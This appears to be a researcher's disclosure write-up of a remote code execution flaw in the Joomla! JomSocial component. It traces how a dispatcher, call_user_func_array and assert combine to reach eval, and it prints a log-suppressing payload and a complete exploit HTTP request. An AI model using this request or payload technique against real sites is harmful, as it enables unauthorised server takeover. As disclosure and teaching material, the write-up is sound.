Yesterday, Gaston Traberg and I released an advisory regarding a remote code execution vulnerability in the Joomla! JomSocial component, which affected all versions >= 2.6 and < 3.1.0.1. I don't usually like to write about the security vulnerabilities that I find and report, but this one was quite interesting to exploit.
Note that we found this vulnerability by picking random, widespread, Joomla! components and auditing them. This was not a vulnerability found while trying to "hack into" a website. As soon as we found it, it was reported to the vendors.
JomSocial
JomSocial is a component which turns your Joomla! installation into a Facebook-like social network. You've got photos, videos, walls, comments, etc. A lot of its code relies on ajax calls which build the HTML on the server side and gets rendered by the client's browser.
Even though it is not a free product, its PHP code is licensed under GPLv2.
Azrul system plugin
JomSocial relies on a plugin called "Azrul system" which has a module that automatically parses parameters and calls the appropriate function with the specified parameters. This is nice because developers don't have to explicitly parse them and dispatch to the right function; that's done transparently.
Requests that will be parsed by this system contain parameters that look like this:
option=community& no_html=1& task=azrul_ajax& func=MODULE,FUNCTION& TOKEN=1& arg2=["_d_","PARAM1"]& arg3=["_d_","PARAM2"]& arg...Where:
- MODULE is the class that will handle the request. These classes have to be located in a specific directory, otherwise the request will fail.
- FUNCTION is the function defined in class MODULE that will be executed.
- TOKEN is an anti-CSRF token that the application assigns to each different session.
- PARAM* indicates the contents of each parameter. As you can see, every parameter is a JSON-encoded string.
option=community& no_html=1& task=azrul_ajax& func=Foo,Bar& baz=1& arg2=["_d_","Hello"]& arg3=["_d_","World!"]Would automatically call this function(as long as its defined in the right directory):
class Foo { function Bar($str1, $str2) { echo "$str1 $str2"; // would echo Hello World! } }
The vulnerability
So, while we were searching for calls to the common insecure functions, such as eval, system, passthru, etc. we came by a call to the PHP call_user_func_array function. This call was performed in the CommunityPhotosController::ajaxUploadAvatar member function, and it looked like this:
// not relevant code has been removed public function ajaxUploadAvatar($type, $id, $custom = '') { $aCustom = json_decode($custom, true); $cTable = JTable::getInstance(ucfirst($type), 'CTable'); $cTable->load($id); if (isset($aCustom['call'])) { if (isset($aCustom['call'][0]) && isset($aCustom['call'][1])) { $obj = $aCustom['call'][0]; $method = $aCustom['call'][1]; $params = count($aCustom['call']) > 2 ? array_slice($aCustom['call'], 2) : array(); if (!empty($obj) && !empty($method)) { $customHTML = call_user_func_array(array($obj, $method), $params); } } } }
So as you can see, the function does the following:
- Loads an object representing a database table with the name $type and loads the record with id $id.
- JSON-decodes its third parameter.
- If there is a "call" key in the JSON-decoded string, it assumes the value for that key will be an array, and tests to see if there are at least 2 elements in it.
- The first element of that array will indicate the name of an object or class and the second one, a name of a method, apparently.
- The rest of the parameters will be parameters for that method.
- Finally, if everything went well, it calls call_user_func_array using the provided data.
Exploiting it
We started searching for calls to more severe functions that would give us complete control over the application, such as eval or system. Of course, we can't call them directly, since we need to call methods defined inside a class, and those are free functions.
At that point, we found a method, _runCommand defined in the CVideos class. It's not a static one, meaning that we should need an instance of an object to call it(at least in theory), but apparently PHP allowed us to do so. Unfortunately, before making a call to system, this function accessed $this, and since there was no $this here(since there's no instance associated with the call), that would trigger a fatal PHP error.
So we kept on looking and found a very interesting function, CStringHelper::escape which looks like this:
static function escape($var, $function='htmlspecialchars') { // four unrelevant lines removed here return call_user_func($function, $var); }As you can see, it uses call_user_func using the second parameter as the name of the function to call, and the first parameter as its argument. So that's it, if we managed to call this function and provide a non-class function name(such as eval) and some PHP code, we should be able to get it to execute on the server.
Not so fast
Unfortunately, it seems like, since PHP's eval function is actually a language construct rather than a real function, you can't call it this way. For example, if you call it through call_user_func, like this:
<?php call_user_func("eval", "echo 'Hello world';"); ?>
You'll get an error like the following one:
PHP Warning: call_user_func() expects parameter 1 to be a valid callback, function 'eval' not found or invalid function name in test.php on line 2So that doesn't work. Of course we can already call system, shell_exec, passthru, etc. but it's always better to be able to execute PHP code, since it's common for those functions to be disabled. We needed a way to execute arbitrary code that didn't require the use of eval, or at least not directly...
There's another function, assert which has some common behavior with eval: it evaluates its parameter as PHP code and stops the execution unless the evaluated expression returns a true boolean value. Using this function we can do something like this:
<?php assert("eval('echo 123;');"); ?>
Which looks strange but does execute the echo. Unfortunately, since eval always returns NULL unless you're using return statement in the eval'd code, this will always generate a warning, since NULL is implicitly converted to false, making the assertion fail.
We could stop now, since we already reached PHP code execution, but it's better if our exploit doesn't leave traces in logs as well. Moreover, our PHP code has to be composed of only one expression, since the following code:
<?php assert("eval('echo 123;'); eval('echo 456;');"); ?>
Will only print "123", as the assertion fails before the second eval is executed.
So what we need is a way to execute an arbitrary piece of code which consists of only one expression, doesn't generate any warnings and always returns true.
Actually, we could make it never return as well, right? We could call exit inside the expression, which will stop the execution before the assertion fails. exit takes a parameter, so we could nest another function call as its parameter. Something like this:
assert("exit(foo());");What if the nested function was eval? We'd already be able to execute arbitrary code! So doing this should work:
assert("exit(eval('echo 123'));");In the end, what we came up with was the following:
<?php assert("@exit(@eval(@base64_decode('BASE64_ENCODED_SCRIPT')))"); ?>The extra base64 encoding was used so that we didn't even need to encode quotes, or any other character that could cause troubles. Note that the extra "@" characters force the PHP interpreter to supress any error messages that might be generated while executing our code.
Putting it all together
Now that we know how to execute any piece of PHP code, we need to build a request that does so. In order to do that, we need:
- A valid anti-CSRF token. We can find that token by making any request and analyzing the output. There will be a hidden input, whose name is a 32 long hex-characters string and its value will be 1. The name of the input is the token.
- A valid table name, so that JTable::getInstance returns a valid object. Otherwise, when later calling JTable::load will trigger an error. In this case, we'll use the table "Events".
- Since JTable::load doesn't throw an exception when there is no record with the given id, we can use any number. Besides, the retrieved record is not used before the call to call_user_func_array.
- We need to base64 encode the PHP code, and insert it inside our payload.
- Finally, we need to build an associative array which has a key "call" which maps to a list which contains the name of the class we'll use(CStringHelper), the name of the method to call(escape), , the payload generated in the previous step and the string "assert".
POST /index.php HTTP/1.0The decoded payload(it's just an echo) looks like this:
Host: example.com
...
option=community&
no_html=1&
task=azrul_ajax&
func=photos,ajaxUploadAvatar&
TOKEN=1&
arg2=["_d_","Event"]&
arg3=["_d_","374"]&
arg4=["_d_","%7B%22call%22%3A%5B%22CStringHelper%22%2C%22escape%22%2C%20%22%40exit%28%40eval%28%40base64_decode%28%27ZWNobyAnSGVsbG8gV29ybGQnOw%3D%3D%27%29%29%29%3B%22%2C%22assert%22%5D%7D"]
{ "call" : [ "CStringHelper", "escape", "@exit(@eval(@base64_decode('ZWNobyAnSGVsbG8gV29ybGQnOw==')));", "assert" ] }
Our code should be executed after that, so all that's left is to parse the output. I have uploaded a working python exploit to my github account.